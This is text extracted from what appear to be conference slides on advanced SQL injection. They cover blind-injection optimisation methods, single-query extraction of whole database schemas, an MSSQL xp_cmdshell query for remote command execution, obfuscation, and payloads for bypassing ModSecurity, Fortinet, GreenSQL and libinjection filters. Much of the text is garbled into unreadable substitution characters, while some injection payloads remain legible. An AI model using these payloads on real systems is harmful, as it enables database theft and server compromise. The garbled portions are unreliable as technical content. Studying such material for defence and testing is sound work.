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Optimization 
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Exploits of a mom 

R"F*5"*I)(0(&5*<=>*?&@(.4"&-S*
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*
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OPTIMIZATION 



¥! +;6*'"*F(*.3)(S*

OPTIMIZATION 
 Intro 

;HIJCCTU.'G."2CYZC*



*Analysis of methods 
 

¥! B1-(.4"&*2(5;"'*
¥! D(8(T*2(5;"'*
¥! B15F1-(*2(5;"'-*
¥! B1&3)6*5"*I"-14"&*[B1&W/"-\*

OPTIMIZATION 
 Blind SQL Injections 



Quick reminder 
¥! +(*.3&*"&76*)(5)1(0(*]*.;3)3.5()*35*3*42(*
¥! +(*5(-5*1$*F(*;30(*5;(*."))(.5*.;3)3.5()*F15;*^:)%(_*

3&'*^O37-(_*)(-I"&-(-*
*

Example 

¥! <`>`!:*a*ODKb*%-()-*+R`D`*1'c]*Lde*]c]*
¥! <`>`!:*a*ODKb*%-()-*+R`D`*1'c]*Lde*]cW*

OPTIMIZATION 
 Blind SQL Injections 



OPTIMIZATION 
 ASCII Table 

¥! `3.;*L<!??*.;3)3.5()*.3&*,(*)(I)(-(&5('*1&*]*,65(*
")*Y*,15-*

!;3)3.5()* !"

B1&3)6*[,3-(*W\* f]]ffff]*

K.537*[,3-(*Y\* ]g]*

e(.1237*[,3-(*]f\* hX*

R(T3'(.1237*[,3-(*]i\* i]*



OPTIMIZATION 
 ASCII Table 



:;(*Y5;*,15*"$*5;(*L<!??*.;3)3.5()-*F(j)(*1&5()(-5('*1&*1-*
37F36-*f*

OPTIMIZATION 
 ASCII Table 

#$%&'!(" )$*!+$%&'!(" ,&-!./"

f* ff* ffffffff*

]WX* XO* f]]]]]]]*

WZZ* OO* ]]]]]]]]*

:;(*)3&8(*F(j)(*1&5()(-5('*1&*
#$%&'!(" )$*!+$%&'!(" ,&-!./"

f* ff* f fffffff*

]WX* XO* f ]]]]]]]*



¥! B1&3)6*-(3).;*378")15;2*

¥! L<!??*)3&8(*VW*k*]Wi*

¥! <I715*1&*;37$J*[VW*l*]Wi\*C*W*c*Xh*

¥! ?-*5;(*037%(*8)(35()*")*7(--()S**

¥! <I715*)(-%75*1&*;37$*3831&*3&'*)(I(35**

OPTIMIZATION 
 Bisection Method 



3*c*hX*'(.1237*

OPTIMIZATION 
 Bisection Method 

hX*,(5F((&*Xh*3&'*]Wi* :)%(* [VW*l*]Wi\*C*W*c*Xh*

hX*,(5F((&*Xh*3&'*]fV* :)%(* [Xh*l*]Wi\*C*W*c*]fWGZ*

hX*,(5F((&*Xh*3&'*h]* O37-(* [Xh*l*]fV\*C*W*c*h]*

hX*,(5F((&*h]*3&'*]fV* :)%(* [h]*l*]fV\*C*W*c*hX*

hX*,(5F((&*h]*3&'*hX* :)%(* [h]*l*hX\*C*W*c*hZ*

hX*,(5F((&*h]*3&'*hZ* O37-(* [hZ*l*hX\*C*W*c*hi*

hX*,(5F((&*hZ*3&'*hX* :)%(* hX*mc*hi*
hX*cc*hX*



OPTIMIZATION 
 Bisection Method 

]9W9V9g9Z9i9X9Y*

]9W9V9g*

]9W* V9g*

Z9i9X9Y*

Z9i* X9Y*

Binary Search Tree 



ÒBisection methodÓ 

OPTIMIZATION 
 Bisection Method 

/)"-J*
¥! >"83)15;21.*7"8W[d\*
¥! e101'(#3&'#."&N%()*378")15;2*
¥! i#X*D/!*
*
!"&-J*
¥! <32(*30()38(*.3-(*C*F")-5*.3-(*-.(&3)1"*



ÒRegex methodÓ - By Simone 'R00T_ATI' Quatrini 
and Marco 'white_sheep' Rondini 

OPTIMIZATION 
 Regex Method 

D`n`Q/*opq3#Mro* :)%(*

D`n`Q/*opq3#&ro* :)%(*

D`n`Q/*opq3#8ro* O37-(*

D`n`Q/*opq;#&ro* :)%(*

D`n`Q/*opq;#7ro* O37-(*



ÒRegex methodÓ - By Simone 'R00T_ATI' Quatrini 
and Marco 'white_sheep' Rondini 

OPTIMIZATION 
 Regex Method 

/)"-J*
¥! d"*&(('*5"*."&0()5*5"*'(.1237*
¥! B1-(.4"&*2(5;"'*"&*D`n`Q*
*
!"&-J*
¥! <32(*32"%&5*"$*)(N%(-5-*3-*,1-(.4"&*



¥! `3.;*L<!??*.;3)3.5()*.3&*,(*)(I)(-(&5('*1&*]*,65(*
")*Y*,15-*

¥! :;(*b<B*"$*5;(*L<!??*)3&8(*"$*.;3)3.5()-*F(o)(*
1&5()(-5('*1&*1-*37F36-*f*

¥! :;(*32"%&5*"$*)(N%(-5-*F177*37F36-*,(*X*

OPTIMIZATION 
 Bitwise Methods 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]ffff]*

[hX*ss*X\*c*f* ]*")*f* ]*

[hX*ss*i\*c*f* ]*")*f* f*

[hX*ss*Z\*c*W* f]f*")*f]]* f*

[hX*ss*g\*c*i* f]]f*")*f]]]* ]*

"Faster Blind MySQL Injection Using Bit Shifting" - By 
Jelmer de Hen 



OPTIMIZATION 
 Bitwise Methods 

"Faster Blind MySQL Injection Using Bit Shifting" - By 
Jelmer de Hen 

/)"-J*
¥! :;(*32"%&5*"$*)(N%(-5-*1-*."&-1-5(&5*
*
!"&-J*
¥! L7F36-*%-(-*X*D/!*
¥! +(1)'*12I7(2(&534"&*
¥! d"*5;)(3'1&8*



OPTIMIZATION 
 Bitwise Methods 

f ]]ffff]* ss*X* fffffff f* f*

f ] ]ffff]* ss*i* fffffff ]* ]*

f] ] ffff]* ss*Z* ffffff] ]* V*

f]] f fff]* ss*g* fffff]] f* i*

f]]f f ff]* ss*V* ffff]]f f* ]W*

f]]ff f f]* ss*W* fff]]ff f* Wg*

f]]fff f ]* ss*]* ff]]fff f* gY*

f]]ffff ]* ss*f* f]]ffff ]* hX*

"Faster Blind MySQL Injection Using Bit Shifting" - 
My variation 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]ffff]*

-%,-5)[,1&[hXssX\9#]9]\* ]*")*f* f*

-%,-5)[,1&[hXssi\9#]9]\* ]*")*f* ]*

-%,-5)[,1&[hXssZ\9#]9]\* ]*")*f* ]*

-%,-5)[,1&[hXssg\9#]9]\* ]*")*f* f*

"Faster Blind MySQL Injection Using Bit Shifting" - 
My variation 



OPTIMIZATION 
 Bitwise Methods 

"Faster Blind MySQL Injection Using Bit Shifting" - 
My variation 

/)"-J*
¥! :;(*32"%&5*"$*)(N%(-5-*1-*."&-1-5(&5*
¥! :;)(3'1&8*
*
!"&-J*
¥! L7F36-*%-(-*X*D/!*



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]ffff]*

hX*t*]* fffffff]*

hX*t*W* ffffff]f*

hX*t*g* fffff]ff*

hX*t*Y* ffff]fff*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]ffff ]*

hX*t*]* fffffff ]* ]*

hX*t*W* ffffff]f*

hX*t*g* fffff]ff*

hX*t*Y* ffff]fff*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]fff f ]*

hX*t*]* fffffff]* ]*

hX*t*W* ffffff ] f* f*

hX*t*g* fffff]ff*

hX*t*Y* ffff]fff*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]ff f f]*

hX*t*]* fffffff]* ]*

hX*t*W* ffffff]f* f*

hX*t*g* fffff ] ff* f*

hX*t*Y* ffff]fff*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]f f ff]*

hX*t*]* fffffff]* ]*

hX*t*W* ffffff]f* f*

hX*t*g* fffff]ff* f*

hX*t*Y* ffff ] fff* f*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

3*c*hX*'(. *c*f]]f fff]*

hX*t*]* fffffff]* ]*

hX*t*W* ffffff]f* f*

hX*t*g* fffff]ff* f*

hX*t*Y* ffff]fff* f*

"Bit ANDing" - By Ruben Ventura 



OPTIMIZATION 
 Bitwise Methods 

/)"-J*
¥! :;(*32"%&5*"$*)(N%(-5-*1-*."&-1-5(&5*
¥! :;)(3'1&8*
*
!"&-J*
¥! L7F36-*%-(-*X*D/!*

"Bit ANDing" - By Ruben Ventura 



¥! D(N%1)(-*3*-(5*"$*I"--1,7(*.;3)3.5()-*[VW*k*]Wi*
'(.1237\*

*
¥! :;(*.7"-()*5;(*.;3)*1-*5"*5;(*,(81&&1&8*"$*5;(*-(59*5;(*

7(--*32"%&5*"$*)(N%(-5-*)(N%1)('*

¥! +(*.3&*3))3&8(*5;(*-(5*"$*.;3)3.5()-*,6*2"-5*
."22"&*7(H()-*

OPTIMIZATION 
 Bin2Pos Method 



¥! b3I*5;(*.;3)3.5()*5"*15-*I"-14"&*1&*5;(*-(5*

¥! !"&0()5*5;1-*I"-14"&*5"*,1&3)6*

¥! d"F*F(*;30(*)('%.('*5;(*.;3)3.5()-*F(*;30(*5"*
7""U*$")*5"*W*[f*3&'*]\*

OPTIMIZATION 
 Bin2Pos Method 



¥! *K%)*-(5*[F15;"%5*.3I1537-\**
Ð!abcdefghijklmnopqrstuvwxyz  

_0123456789,.<>/?;:\'"[{]}\|=+-)
(*&^%$#@!`~ 

 
¥! *L*;(T*-(5**

Ð!0123456789ABCDEF 
 

¥! *>3)8(-5*-(5*;3-*hg*I"-14"&-*
Ð!BIN(1)  = 1 
Ð!BIN(94) = 1011110 

OPTIMIZATION 
 Bin2Pos Method 



OPTIMIZATION 
 Bin2Pos Method 

?O[[E3Jcb?e[,01[23405031[b?e[[<`>`!:*I3--F")'*
$)"2*%-()-*F;()(*1'cW*>?b?:*]\9]9]\?d*

[!RLD[6796899: 99; 99<99=99699999>99?9>99>>9>?9>79>89?
: \\\9]9]\\mc-I3.([f\9W#E39fCf\*



OPTIMIZATION 
 Bin2Pos Method 

¥! >K+`D!L<`u<`:*c*
[^39,9.9'9(9$989;919@9U97929&9"9I9N9)9-959%909F9T969M9
f9]9W9V9g9Z9i9X9Y9h9u9m9E9v9w9x9p9t9a9[9\9#9l9c9y99G9*yz9*o9{9|9yy9}9
~9•9q9r9J9€9*_\*



OPTIMIZATION 
 Bin2Pos Method 

¥! ^!_*1-*V)' *I"-14"&*1&*5;(*-(59*F;1.;*(N%37-*]]*1&*,1&3)6*
¥! K%)*)(N%(-5*-53)5-*F15;*5;(*P)-5*"&*,15*

¥! :;()($")(9*5;(*P)-5*&%2,()*F177*37F36-*,(*]*



OPTIMIZATION 
 Bin2Pos Method 

Retrieving Ò11Ó 

¥! +(*U&"F*5;(*P)-5*'1815*1-*]*

¥! d"*)(N%(-5*)(N%1)('*
¥! ?-*5;(*-(."&'*'1815*]S*
¥! :)%(*

¥! ?-*5;(*5;1)'*'1815*]S*
¥! O37-(9*5;()(*1-*&"*5;1)'*'1815*
¥! :"537*)(N%(-5-*)(N%1)('*$")*^!_J*W*



OPTIMIZATION 
 Bin2Pos Method 

Taking it a step further*
:;(*2"-5*."22"&*P)-5*7(H()*1&*3*F")'*1&*")'()*"$*$)(N%(&.6*
************:9*K9*L9*+9*B9*!9*e9*<9*O9*b9*D9*R9*?9*•9*`9*n9*>9*d9*K9*‚9*ƒ9*A*
*
>(H()-*2"-5*71U(76*5"*$"77"F*`*1&*")'()*"$*$)(N%(&.6*
************D9<9d9e*
*
:;(*2"-5*."22"&*'18)3I;-*"&*")'()*"$*$)(N%(&.6*
************:R9*R`9*Ld9*?d9*`D9*Kd9*D`9*`e9*de9*RL9*L:9*`d9*`<9*KO9*d:9*`L9*:?9*:K9*?K9*>`9*?<9*K‚9*
LD9*L<9*e`9*D:9*„`*
*
:;(*2"-5*."22"&* 5)18)3I;-*1&*")'()*"$*$)(N%(&.6*
************:R`9*Lde9*:RL9*`d:9*?Kd9*:?K9*OKD9*de`9*RL<9*d!`9*:?<9*KO:9*b`d*
*

;HIJCC-."H,)6.(G."2C.)6I5"8)32-C-535-G;52*



OPTIMIZATION 
 Bin2Pos Method 

/)"-J*
¥! K&76*]#i*D/!*
¥! d"*23H()*5;(*-1M(*"$*5;(*-(59*D/!*F177*37F36-**,(*7(--*

5;3&*,1-(.4"&*
*

!"&-J*
¥! D(N%1)(-*W*'1…()(&5*I3)32(5()*037%(-*



OPTIMIZATION 
 Bin2Pos Method 

gX*

]fZ*

]Yh*

YY*

]gX*

WhW*

h]*

WWg*

Vf]*

f*

Zf*

]ff*

]Zf*

Wff*

WZf*

Vff*

VZf*

!RLDL!:`Du<`:* beZ[oLB!]WVo\* :R`*=‚?!A*BDK+d*OKQ*ƒ‚b/<*K„`D*:R`*>L†•*
eKn*

!"2I3)1-"&*"$*2(5;"'-*

B1&W/"-* B1-(.4"&* B15F1-(*

gXx*

Whx*

VZx*



OPTIMIZATION 
 Method Comparison 

DEMO 



OPTIMIZING QUERIES 



D(5)1(0(*377*'353,3-(-9*53,7(-*3&'*."7%2&-*F15;*@%-5*
@-$*N%()6G*

OPTIMIZING QUERIES 
 Data Extraction 



<`>`!:*[E\*ODKb*[<`>`!:[EJcfTff\9[<`>`!:*[E\*
ODKb*[1&$")234"&u-.;(23G."7%2&-\*+R`D`*

[53,7(u-.;(23 scE\*Lde*[E\?d*[EJc!Kd!L:[E9
fTf39o*q*o953,7(u-.;(23 9o*r*so953,7(u&32(9o*s*

o9."7%2&u&32(\\\\T*

OPTIMIZING QUERIES 
 MySQL 

By Ionut Maroiu  



Demo 

OPTIMIZING QUERIES 
 MySQL - Demo 



<`>`!:* 53,7(u&32(*l*o9*o*ODKb*
1&$")234"&u-.;(23G53,7(-*OKD*Qb>*/L:R[oo\*

OPTIMIZING QUERIES 
 MSSQL 

By Daniel Kachakil 



<`>`!:*D:D?b[Qb>Lnn[Qb>`>`b`d:[(9* 53,7(u&32(*
}}*o9o\\G`Q:DL!:[oCC5(T5[\o\G`Q:DL!:[oCC5(T5[\o\*9o9o\*ODKb*

377u53,7(-*

OPTIMIZING QUERIES 
 Oracle 



<`>`!:* 3))36u5"u@-"&[3))36u388[53,7(-\\JJ5(T5*ODKb*
[<`>`!:* -.;(23&32( 9*)(7&32(*ODKb*
I8u-535u%-()u53,7(-\*L<*53,7(-*>?b?:*]*

OPTIMIZING QUERIES 
 PostgreSQL 

By Dmitriy Serebryannikov 



One query for RCE 

¥! !;(.U*5"*-((*1$*TIu.2'-;(77 *1-*7"3'('*
¥! ?$*(&3,7('9*.;(.U*1$*3.40(*

¥! D%&*5;(*o'1)o*."223&'*3&'*-5")(*5;(*)(-%75-*1&5"*
:b/ueB*

OPTIMIZING QUERIES 
 MSSQL 



o*?O*`Q?<:<*[<`>`!:*]*ODKb*?dOKDbL:?Kdu<!R`bLG:LB>`<*+R`D`*
:LB>`udLb`co:b/ueBo\*eDK/*:LB>`*:b/ueB*e`!>LD`*E3*

03).;3) [Yfff\*?O*`Q?<:<[<`>`!:*a*ODKb*',"G-6-",@(.5-*+R`D`*1'*c*
",@(.5u1'*[doq'," rGqTIu.2'-;(77 ro\*Lde*KBƒ`!:/DK/`D:•*[1'9*

do?-`T5(&'('/)". o\*c*]\*B`n?d*!D`L:`*:LB>`*xWVTIu.2'-;(77*[&32(*
&03).;3)[]]\9*21&*1&59*23T*1&59*."&P8u037%(*1&59*)%&u037%(*1&5\*?d<`D:*
xWVTIu.2'-;(77*`Q`!*23-5()GG-Iu."&P8%)(*oTIu.2'-;(77 o*?O*`Q?<:<*

[<`>`!:*a*ODKb*xWVTIu.2'-;(77*+R`D`*."&P8u037%(c]\B`n?d*
!D`L:`*:LB>`*xWVe353*['1)*03).;3) [Yfff\\*?d<`D:*xWVe353*`Q`!*
23-5()GGTIu.2'-;(77 *o'1)o*<`>`!:*E3coo*<`>`!:*E3cD(I73.([E3

xWBo‡,) s‡C$"&5s‡$"&5*."7")cz,73.UzsoxWB'1)9o‡'1)so9o‡C$"&5s‡$"&5*
."7")cz")3&8(zso\*ODKb*xWVe353*+R`D`*'1)sE3*eDK/*:LB>`*
xWVe353*`de*`><`*<`>`!:*E3coTIu.2'-;(77 *&"5*(&3,7('o*eDK/*

:LB>`*xWVTIu.2'-;(77*`de*`><`*<`>`!:*E3coTIu.2'-;(77 *&"5*$"%&'o*
<`>`!:*E3*L<*5,7*?d:K*:b/ueB##*

OPTIMIZING QUERIES 
 MSSQL 



Demo 

OPTIMIZING QUERIES 
 MSSQL - Demo 



¥! :(-4&8*.3&*,(."2(*5('1"%-*
¥! ?&@(.4"&-*.3&*%-(*-1&87(9*'"%,7(*")*&"*N%"534"&-*35*377*
¥! gffl*I3)32(5()-C2"'%7(*

OPTIMIZING QUERIES 
 More Single Liners 

V*-(I3)35(*5(-5-*$")*(3.;*03)134"&J*
*

¥! *KD*]c]*
¥! *KD*o]oco]*

¥! *KD*^]_c^]**



R"F*3,"%5*$%-1&8*5;(2S*

OPTIMIZING QUERIES 
 More Single Liners 

- OR 1#"OR"'OR''='"="'OR''=' 



R"F*3,"%5*$%-1&8*5;(2S*

OPTIMIZING QUERIES 
 More Single Liners 

- OR 1#"OR"'OR''='"="'OR''=' 

¥! d"*N%"534"&-*



R"F*3,"%5*$%-1&8*5;(2S*

OPTIMIZING QUERIES 
 More Single Liners 

- OR 1# "OR" 'OR''=' "=" 'OR''=' 

¥! d"*N%"534"&-*
¥! e"%,7(*N%"534"&-*



R"F*3,"%5*$%-1&8*5;(2S*

OPTIMIZING QUERIES 
 More Single Liners 

- OR 1#"OR" 'OR''=' "=" 'OR''=' 

¥! d"*N%"534"&-*
¥! e"%,7(*N%"534"&-*
¥! <1&87(*N%"534"&-*



+;35*3,"%5*Lde1&8S*

OPTIMIZING QUERIES 
 More Single Liners 

- !=0--+"!="'!=' 



+;35*3,"%5*Lde1&8S*

OPTIMIZING QUERIES 
 More Single Liners 

- !=0--+ "!="'!=' 

¥! d"*N%"534"&-*



+;35*3,"%5*Lde1&8S*

OPTIMIZING QUERIES 
 More Single Liners 

- !=0--+ "!=" '!=' 

¥! d"*N%"534"&-*
¥! e"%,7(*N%"534"&-*



+;35*3,"%5*Lde1&8S*

OPTIMIZING QUERIES 
 More Single Liners 

- !=0--+"!=" '!=' 

¥! d"*N%"534"&-*
¥! e"%,7(*N%"534"&-*
¥! <1&87(*N%"534"&-*



OBFUSCATION 



OBFUSCATION 
 What is it? 

;HIJCCF(771&85"&GI2G")8C3).;10(CWffXfgC-12I7(u",$%C1238(-C",$%-.34"&ufWGI&8*



OBFUSCATION 
 How to confuse an admin 

‚d?Kd*-(7(.5Ef"f"KKKfK"fKK""K""K"KffK"""f"f"KK*w* $D"2[<(>`.5Ef"f"KKKfK"fKK""K""K"KffK"""f"f"KK*
$)Kb|1&$")234"&u-.;(23|G|5)188()-|\f"f"KKKfK"fKK""K""K"KffK"""f"f"KK* +R()( *mOL7<}̀} 5D%(tt O37<(}} O37-t̀t :)‚` *

71U(*:)%`}} O37<`*%&1"&Cam
hYXiZ-(7(.5EfffKKfKfK""K"KfKK"""KK"K"""f"f"Jc 8)K%Iu.Kd.3: [|%-()&32(|\||$)"2[%-()-\ F;`)` [%-()&32(\71U(o3'21&o7121

5*]aC-(7(.5EfffKKfKfK""K"KfKK"""Kf"K"""f"f"*71215*]9f* ‚&?Kd*<(7(!5[-(7`.5[-`>(.: Cam
iXYhf-`>(.5EfffKKfKfKf"K"KfKK"""KK"K"""f"f"Jc 8)"%Iu."&.35[|53,7(u&32(|\O)Kb*1&$")234"&u-.;(23G-534-4.-*+;`D` *

:LB>(u<!R`2L *?&['353,3-([\\aCCamEfffKKfKfK""K"KfKK"""Kf"K"""f"f"Jc 8DK%Iu."&!35[Cam53B>(u&3b\̀aC$D"b*
1&$")234"&u-.;(23GI3)44"&- *F;()(* :LB>(u<!R`23 *&"5*1&[."&.35[[-(7(.5*1&-()5[1&-()5[[-(7(.5*

[."7734"&u&32(\$)"2[ 1&$")234"&u-.;(23G."7734"&-\F;()([1'\c 5)%(
l5)%(\95)%(9ˆ"")[I1[\\95)12[0()-1"&[\$)"2[EE0()-1"&\\\9ˆ"")[I1[\\9.(17[I1[\aI1[\\9-I3.([f\\\9*."&0[[]WZVigC[5)%(#m5)%(\\#gWVZ]9*

.(17[I1[\aI1[\\9ˆ"")[I"F[I1[\9I1[\\\\921'[3(-u'(.)6I5 [3(-u(&.)6I5 [fTi]XZXgiOiei]XgihiOi`9fTg!ihiXiYXggOZV\9
fTg!ihiXiYXggOZV\ODKb*ˆ"")[0()-1"&[\\*OKD*.(17[0()-1"&[\\\9)I3' [)(0()-([ 7I3' [."7734"&[%-()[\\9.(17[I1[\\##EE7"8u,1&9fTff\\9m*m
5)%(9fTff\9!RLD[[.(17[I1[\\lm$37-(\a.(17[[I1[\l.(17[I1[\\\aI1[\\9[.(17[I1[\aI1[\\a.(17[I1[\aI1[\\\##."- [I1[\\9[.(17[I1[\aI1[\\a.(17[I1[\aI1[\\\##

.(17[I1[\\9[.(17[I1[\aI1[\\a.(17[I1[\aI1[\\\#."- [I1[\\9[.(17[I1[\aI1[\\a.(17[I1[\aI1[\\\##ˆ"")[I1[\aI1[\\9[.(17[I1[\aI1[\\a.(17[I1[\aI1[\\\#ˆ"")[I1[\\\\9
fTi'XhXVX]i.\\$)"2[-(7(.5##[-(7(.5{fTX\\f"f"KKKfK"fKK""K""K"KffK"""f"f"K\$)"2[-(7(.5ECamCamwaC$)"2[-(7(.5

lVG||\fff"KKKfK"fKK""K""K"KffK"""f"f"K\f"f"KKKfK"fKK""K""K"KffK"""f"f"KCam
XiXhh-`7(.5EfffKKfKfK""K"KffK"""fK"K"""f"f"Jc 8)"%Iu."&.35[|%-()|\||$)"2|26-N7G%-()|+R(D([%-()\cfTXWi$i$XgaC

v[<(>`!: E*%d1"d*-`7`.: *L7>*8)"%Iu."&.35[.K>%2du&Lb`9]9]\O)"b *?&O"Db3:1"du<.R(2LG!K>‚bd<*F;()(* 53B7(u-.R(23*&"5*
1&[fTihi(iii$XWi'i]Xgihi$i(Z$XViViYiZi'i]9fTi'XhXVX]i.\‚d?Kd*<`>`!:Ef"f"KKKfK"fKK""K""K"KffK"""f"f"KK*
‚d?Kd*<`>`!:Ef"f"KKKfK"fKK""K""K"KffK"""f"f"KK*‚d?Kd*<`>`!:EfffKKfKfK""K"KfKK"""Kf"K"""f"f"KK*

‚d?Kd*<`>`!:Ef"f"KKKfK"fKK""K""K"KffK"""f"f"KK\*



BYPASSING FIREWALLS 



BYPASSING FIREWALLS 
 General Tips 

¥! D(3'*'".%2(&534"&*$")*%&(TI(.5('*,(;301")*3&'*
"''14(-*

¥! >(3)&*F;35*5;(*eBb<*1-*.3I3,7(*"$*3&'*F;35*15*.3&*
;3&'7(*

¥! O%MM()-*.3&*;(7I*P&'*%&'".%2(&5('*"''14(-*

¥! B(*.)(340(m*



OBFUSCATION 
 Simple PHP Fuzzer 

‡SI;I *
*w71&U*c*26-N7u."&&(.5[o7".37;"-5o9*o)""5o9*oo\€*
*$")[w1cf €*w1‡cWZZ€*w1ll\*~*
* *wN%()6*c*26-N7uN%()6[z<`>`!:*]*ODKb*'%37*+R`D`*]z*G*.;) [w1\*G*zc]z\€*

*
* *1$[mwN%()6\*~*
* * *."&4&%(€*
* *•*

*
* *(.;" *w1*G*oJfTo*G*'(.;(T [w1\*G*oJo*G*.;) [w1\*G*o‡,) so€*
*•*

Ss*



OBFUSCATION 
 Simple PHP Fuzzer 



OBFUSCATION 
 Simple Python Fuzzer 

+$A*231&[\J*
****F3)&1&8-GF3)&[z'(I)(.35('z 9*e(I)(.34"&+3)&1&8 \*
****', *c*b6<=>',G."&&(.5 [;"-5c z7".37;"-5z9*%-()cz)""5z9*I3--F' czz9*', cz5(-5z9*I")5c]VVX\*
****.%)-")*c*',G.%)-")[\*
**
****A@.*3*&-*)3&8([WZi\J*
********B./J*
************.%)-")G(T(.%5([z<`>`!:*]* ODKbx-%-()-*+R`D`*]c]*71215*]z*x *[.;) [3\\\*
**
************C.&-B*z3Jx'Jx-Jx-z*x *[39*;(T [3\9*.;) [3\*&A*3mc]f *$(D$*zd`+*>?d`z\*
**
********$*%$CB*[b6<=>',G`))") \J*
************.%)-")*c*',G.%)-")[\*
************%@-E-F$*



OBFUSCATION 
 Allowed Whitespaces 

<=>15(V*

- 0A, 0D, 0C, 09, 20 

- 09, 0A, 0B, 0C, 0D, A0, 20 

b6<=>*V*

- 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 
0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 
17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 
80, 81, 88, 8D, 8F, 90, 98, 9D, A0 

b6<=>*Z*



OBFUSCATION 
 Allowed Whitespaces 

/"-58)(<=> *

- 0A, 0D, 0C, 09, 20 

- 00, 0A, 0D, 0C, 09, 20 

b<<=>*

- 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 
0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 
17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 

K)3.7(*]]8*



OBFUSCATION 
 Allowed Whitespaces 

Eà<`>`!:‰aŠODKbEÚ%-()-F�+R`D` Eâ] EÜc‹]Œ*



OBFUSCATION 
 Allowed Whitespaces 



BYPASSING FIREWALLS 
 MySQL Obfuscation 

¥! ] G‚d?Kd*<`>`!:*W*

¥! VGW‚d?Kd*<`>`!:*W*

¥! ] (f‚ d?Kd*<`>`!:*W*

¥! <`>`! :ydCfG(V‚d?Kd*<`>`!:*W*

¥! ] (]Lde#fGf‚ d?Kd*<`>`!:*W*

¥! ] Cam]WVgZ‚d?KdCamV]VVX<`>`!: Cam53,7(u&32(aC*

¥! ~5-*]•‚ d?Kd*<`>`!: G||*]G(G53,7(u&32(*

¥! <`>`!:* wG||*]G(G53,7(u&32(*

¥! <`>`!: ~u*G||]G(G53,7(u&32( •*

¥! <`>`!:* >18;5K<*G*||]G(G53,7(u&32(*>18;5K<*

¥! <`>`!:* 1&$")234"&u-.;(23 *]VVXG(G53,7(-*]VGVX(G53,7(u&32(*

¥! <`>`!:*]*$)"2* 1&$")234"&u-.;(23 *hG(G53,7(u&32(*



BYPASSING FIREWALLS 
 MSSQL Obfuscation 

¥! G]‚ d?Kd*<`>`!:*W*

¥! ] G‚d?Kd*<`>`!: GW3713-*

¥! ] (f‚ d?Kd*<`>`!:*W*

¥! ] (]Lde#]cfGf‚ d?Kd*<`>`!:*W*

¥! <`>`!:* fT‚ d?Kd*<`>`!:*W*

¥! <`>`! :y‚ d?Kd*<`>`!:*W*

¥! y]‚ d?Kd*<`>`!:*W*

¥! <`>`!:* ]ODKbq53,7(r+R`D` y]c y]Ldey]c y]*

¥! <`>`!: z53,7(u&32(zODKbq1&$")234"&u-.;(23 rGq53,7(-r*



BYPASSING FIREWALLS 
 Oracle Obfuscation 

¥! ] O‚d?Kd*<`>`!:*W*

¥! ] e‚ d?Kd*<`>`!:*W*

¥! <`>`!:* fTXgi]iWi.iZZ$i(i]i'iZ *ODKb*377u53,u53,7(-*

¥! <`>`!:* !RD[]]i\*}}*!RD[hX\*}}*!RD[hY\ *ODKb*377u53,u53,7(-*

¥! <`>`!: xff 53,7(u&32(xff ODKbxff 377u53,u53,7(-*



BYPASSING FIREWALLS 
 General Tips 

¥! e"&o5*-53)5*F15;*-"2(5;1&8*",01"%-*

¥! ?&-5(3'9*U((I*15*-12I7(m*

- CASE WHEN BINARY TRUE THEN TRUE END IS 
NOT UNKNOWN HAVING TRUE FOR UPDATE 

- 1 UNION SELECT GROUP_CONCAT(TABLE_NAME) 
FROM INFORMATION_SCHEMA.TABLES 



BYPASSING FIREWALLS - SQLi Obfuscation 

Modsecurity 

#W*'10*]*%&1"&*377*v1&*
v,(5F((&*."22(&5-*

v1&*
v,(5F((&*."22(&5-*

-(7(.5*fTff 9*fTg] *71U(CamV]VVX53,7(u&32(aC9V*
$)"2*1&$")234"&u-.;(23G53,7(-*71215*]*



BYPASSING FIREWALLS - SQLi Obfuscation 

Modsecurity 

!L<`*+R`d* B?dLD•*:D‚`*:R`d*:D‚`*`de* ?<*
‚dAdK+d*OKD*‚/eL:` *

‚d?Kd*<`>`!:* bL::D`<<`< *

]*bKe *fGW‚d?KdxLf <`>`!:*
]9.%))(&5u%-()9V*



BYPASSING FIREWALLS - SQLi Obfuscation 

Fortinet 

<xLf ` xB] >x!W` xeV! x`g : xOi *]*‚ xOOd?Kd*

<`>xOÒ!:*W*



BYPASSING FIREWALLS - SQLi Obfuscation 

GreenSQL 

¥! #]*‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*71215*]*

¥! ]*Lde*]cf* ‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*71215*]*

¥! ]*Lde*]cfG(]* ‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*71215*]*

¥! ]*Lde*]c*,1&3)6*]*‚d?Kd*<`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*71215*]*

¥! ?O[[<`>`!:*21'[53,7(u&32(9]9]\*ODKb*1&$")234"&u-.;(23G53,7(-*71215*]\*c•!j9]9W\*



BYPASSING FIREWALLS - SQLi Obfuscation 

GreenSQL 



BYPASSING FIREWALLS - SQLi Obfuscation 

LibInjection 

¥! #]*‚d?Kd*<`>`!:* 53,7(u&32(*+(,-(. *ODKb*1&$")234"&u-.;(23G53,7(-*>?b?:*]*

¥! #]*‚d?KdxfL <`>`!:* 53,7(u&32(*ODKb*1&$")234"&u-.;(23G53,7(-*>?b?:*]*

¥! #]$‚ d?Kd*<`>`!:*."7%2&*ODKb*53,7(*

